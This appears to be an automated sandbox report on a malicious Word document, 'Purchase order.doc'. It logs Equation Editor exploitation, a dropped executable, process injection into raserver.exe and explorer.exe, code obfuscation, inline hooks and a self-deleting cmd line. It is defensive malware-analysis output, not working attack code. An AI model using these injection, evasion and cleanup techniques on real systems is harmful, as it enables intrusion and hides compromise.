Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041A52A NtAllocateVirtualMemory, 5_2_0041A52A
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008700C4 NtCreateFile,LdrInitializeThunk, 5_2_008700C4
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00870048 NtProtectVirtualMemory,LdrInitializeThunk, 5_2_00870048
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00870078 NtResumeThread,LdrInitializeThunk, 5_2_00870078
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086F9F0 NtClose,LdrInitializeThunk, 5_2_0086F9F0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086F900 NtReadFile,LdrInitializeThunk, 5_2_0086F900
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 5_2_0086FAD0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FAE8 NtQueryInformationProcess,LdrInitializeThunk, 5_2_0086FAE8
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FBB8 NtQueryInformationToken,LdrInitializeThunk, 5_2_0086FBB8
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FB68 NtFreeVirtualMemory,LdrInitializeThunk, 5_2_0086FB68
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FC90 NtUnmapViewOfSection,LdrInitializeThunk, 5_2_0086FC90
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FC60 NtMapViewOfSection,LdrInitializeThunk, 5_2_0086FC60
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FD8C NtDelayExecution,LdrInitializeThunk, 5_2_0086FD8C
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FDC0 NtQuerySystemInformation,LdrInitializeThunk, 5_2_0086FDC0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FEA0 NtReadVirtualMemory,LdrInitializeThunk, 5_2_0086FEA0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 5_2_0086FED0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FFB4 NtCreateSection,LdrInitializeThunk, 5_2_0086FFB4
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008710D0 NtOpenProcessToken, 5_2_008710D0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00870060 NtQuerySection, 5_2_00870060
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008701D4 NtSetValueKey, 5_2_008701D4
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0087010C NtOpenDirectoryObject, 5_2_0087010C
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00871148 NtOpenThread, 5_2_00871148
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008707AC NtCreateMutant, 5_2_008707AC
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086F8CC NtWaitForSingleObject, 5_2_0086F8CC
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00871930 NtSetContextThread, 5_2_00871930
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086F938 NtWriteFile, 5_2_0086F938
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FAB8 NtQueryValueKey, 5_2_0086FAB8
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FA20 NtQueryInformationFile, 5_2_0086FA20
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FA50 NtEnumerateValueKey, 5_2_0086FA50
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FBE8 NtQueryVirtualMemory, 5_2_0086FBE8
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FB50 NtCreateKey, 5_2_0086FB50
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FC30 NtOpenProcess, 5_2_0086FC30
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00870C40 NtGetContextThread, 5_2_00870C40
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0086FC48 NtSetInformationFile, 5_2_0086FC48
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00871D80 NtSuspendThread, 5_2_00871D80
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021800C4 NtCreateFile,LdrInitializeThunk, 7_2_021800C4
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021807AC NtCreateMutant,LdrInitializeThunk, 7_2_021807AC
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FAB8 NtQueryValueKey,LdrInitializeThunk, 7_2_0217FAB8
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 7_2_0217FAD0
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FAE8 NtQueryInformationProcess,LdrInitializeThunk, 7_2_0217FAE8
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FB50 NtCreateKey,LdrInitializeThunk, 7_2_0217FB50
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FB68 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_0217FB68
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FBB8 NtQueryInformationToken,LdrInitializeThunk, 7_2_0217FBB8
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217F900 NtReadFile,LdrInitializeThunk, 7_2_0217F900
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217F9F0 NtClose,LdrInitializeThunk, 7_2_0217F9F0
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_0217FED0
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FFB4 NtCreateSection,LdrInitializeThunk, 7_2_0217FFB4
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FC60 NtMapViewOfSection,LdrInitializeThunk, 7_2_0217FC60
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FD8C NtDelayExecution,LdrInitializeThunk, 7_2_0217FD8C
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FDC0 NtQuerySystemInformation,LdrInitializeThunk, 7_2_0217FDC0
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02180048 NtProtectVirtualMemory, 7_2_02180048
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02180078 NtResumeThread, 7_2_02180078
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02180060 NtQuerySection, 7_2_02180060
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021810D0 NtOpenProcessToken, 7_2_021810D0
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0218010C NtOpenDirectoryObject, 7_2_0218010C
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02181148 NtOpenThread, 7_2_02181148
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021801D4 NtSetValueKey, 7_2_021801D4
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FA20 NtQueryInformationFile, 7_2_0217FA20
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FA50 NtEnumerateValueKey, 7_2_0217FA50
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FBE8 NtQueryVirtualMemory, 7_2_0217FBE8
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217F8CC NtWaitForSingleObject, 7_2_0217F8CC
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02181930 NtSetContextThread, 7_2_02181930
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217F938 NtWriteFile, 7_2_0217F938
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FE24 NtWriteVirtualMemory, 7_2_0217FE24
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FEA0 NtReadVirtualMemory, 7_2_0217FEA0
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FF34 NtQueueApcThread, 7_2_0217FF34
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FFFC NtCreateProcessEx, 7_2_0217FFFC
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FC30 NtOpenProcess, 7_2_0217FC30
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02180C40 NtGetContextThread, 7_2_02180C40
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FC48 NtSetInformationFile, 7_2_0217FC48
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FC90 NtUnmapViewOfSection, 7_2_0217FC90
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0217FD5C NtEnumerateKey, 7_2_0217FD5C
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02181D80 NtSuspendThread, 7_2_02181D80
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009A350 NtCreateFile, 7_2_0009A350
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009A400 NtReadFile, 7_2_0009A400
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009A480 NtClose, 7_2_0009A480
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009A530 NtAllocateVirtualMemory, 7_2_0009A530
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009A44A NtReadFile, 7_2_0009A44A
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009A47A NtClose, 7_2_0009A47A
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009A52A NtAllocateVirtualMemory, 7_2_0009A52A
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F2A036 NtQueryInformationProcess,RtlWow64SuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread, 7_2_01F2A036
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F29BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose, 7_2_01F29BAF
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F2A042 NtQueryInformationProcess, 7_2_01F2A042
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F29BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 7_2_01F29BB2
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{79E0ADDF-4BCA-42D2-95DC-650BFEE60233}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Document contains no OLE stream with summary information
Source: ~WRF{79E0ADDF-4BCA-42D2-95DC-650BFEE60233}.tmp.0.dr OLE indicator has summary info: false
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\villar8681.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Memory allocated: 76F90000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Memory allocated: 76E90000 page execute and read and write Jump to behavior
Source: villar8681.exe.2.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: villarzx[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Purchase order.doc Virustotal: Detection: 40%
Source: Purchase order.doc ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Roaming\villar8681.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\villar8681.exe C:\Users\user\AppData\Roaming\villar8681.exe
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process created: C:\Users\user\AppData\Roaming\villar8681.exe C:\Users\user\AppData\Roaming\villar8681.exe
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\raserver.exe C:\Windows\SysWOW64\raserver.exe
Source: C:\Windows\SysWOW64\raserver.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\villar8681.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\villar8681.exe C:\Users\user\AppData\Roaming\villar8681.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\villar8681.exe Process created: C:\Users\user\AppData\Roaming\villar8681.exe C:\Users\user\AppData\Roaming\villar8681.exe Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Roaming\villar8681.exe' Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$rchase order.doc Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVRE2A0.tmp Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winDOC@9/10@4/3
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: villar8681.exe, 00000004.00000000.413584618.0000000001042000.00000020.00020000.sdmp, villar8681.exe, 00000005.00000000.423645036.0000000001042000.00000020.00020000.sdmp, villarzx[1].exe.2.dr Binary or memory string: insert into mediaitem (name, type, checked_to_patron_id, checkout_date, due_date) values (@name, @type, @patron_id, @co_date, @due_date);
Source: villar8681.exe, 00000004.00000000.413584618.0000000001042000.00000020.00020000.sdmp, villar8681.exe, 00000005.00000000.423645036.0000000001042000.00000020.00020000.sdmp, villarzx[1].exe.2.dr Binary or memory string: select id, name, type, checked_to_patron_id, checkout_date, due_date from mediaitem {0} order by name;where checked_to_patron_id = Mwhere checked_to_patron_id is not nullaselect id, name, type from patron where id = {0}_select id, name, type from patron order by nameWThe method or operation is not implemented.9Library.Properties.Resources
Source: C:\Users\user\AppData\Roaming\villar8681.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll Jump to behavior
Source: Purchase order.doc Joe Sandbox Cloud Basic: Detection: clean Score: 0 Perma Link
Source: explorer.exe, 00000006.00000000.430288611.0000000002AE0000.00000002.00020000.sdmp Binary or memory string: .VBPud<_
Source: villar8681.exe String found in binary or memory: es>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvail
Source: villar8681.exe String found in binary or memory: es>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvail
Source: villar8681.exe String found in binary or memory: ble> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle
Source: villar8681.exe String found in binary or memory: ble> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle
Source: ~WRF{79E0ADDF-4BCA-42D2-95DC-650BFEE60233}.tmp.0.dr OLE document summary: title field not present or empty
Source: ~WRF{79E0ADDF-4BCA-42D2-95DC-650BFEE60233}.tmp.0.dr OLE document summary: author field not present or empty
Source: ~WRF{79E0ADDF-4BCA-42D2-95DC-650BFEE60233}.tmp.0.dr OLE document summary: edited time not present or 0
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Roaming\villar8681.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: RAServer.pdb^ source: villar8681.exe, 00000005.00000002.462916588.0000000000570000.00000040.00020000.sdmp
Source: Binary string: wntdll.pdb source: villar8681.exe, raserver.exe
Source: Binary string: RAServer.pdb source: villar8681.exe, 00000005.00000002.462916588.0000000000570000.00000040.00020000.sdmp
Source: ~WRF{79E0ADDF-4BCA-42D2-95DC-650BFEE60233}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation:

barindex
.NET source code contains potential unpacker
Source: villar8681.exe.2.dr, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: villarzx[1].exe.2.dr, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.2.villar8681.exe.1040000.2.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 4.0.villar8681.exe.1040000.0.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.villar8681.exe.1040000.2.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.villar8681.exe.1040000.10.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.villar8681.exe.1040000.4.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.villar8681.exe.1040000.1.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.villar8681.exe.1040000.6.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.villar8681.exe.1040000.3.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.2.villar8681.exe.1040000.5.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.villar8681.exe.1040000.0.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 5.0.villar8681.exe.1040000.8.unpack, Library/Form1.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_00732B1B push es; retn 0000h 4_2_00732B5C
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_002DBFE3 push cs; iretd 4_2_002DBFE6
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_004063D8 pushad ; iretd 5_2_004063DD
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041D4F2 push eax; ret 5_2_0041D4F8
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041D4FB push eax; ret 5_2_0041D562
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041D4A5 push eax; ret 5_2_0041D4F8
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041D55C push eax; ret 5_2_0041D562
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00406DC3 pushfd ; retf 5_2_00406DC4
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0218DFA1 push ecx; ret 7_2_0218DFB4
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_000863D8 pushad ; iretd 7_2_000863DD
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009D4A5 push eax; ret 7_2_0009D4F8
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009D4FB push eax; ret 7_2_0009D562
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009D4F2 push eax; ret 7_2_0009D4F8
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009D55C push eax; ret 7_2_0009D562
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009DCA5 push es; iretd 7_2_0009DCA6
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_00086DC3 pushfd ; retf 7_2_00086DC4
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F2E9B5 push esp; retn 0000h 7_2_01F2EAE7
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F2EB1E push esp; retn 0000h 7_2_01F2EB1F
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F2EB02 push esp; retn 0000h 7_2_01F2EB03
Source: initial sample Static PE information: section name: .text entropy: 7.5498663896
Source: initial sample Static PE information: section name: .text entropy: 7.5498663896

Persistence and Installation Behavior:

barindex
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\villarzx[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\villar8681.exe Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

barindex
Modifies the prolog of user mode functions (user mode inline hooks)
Source: explorer.exe User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8F 0xFE 0xE5
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
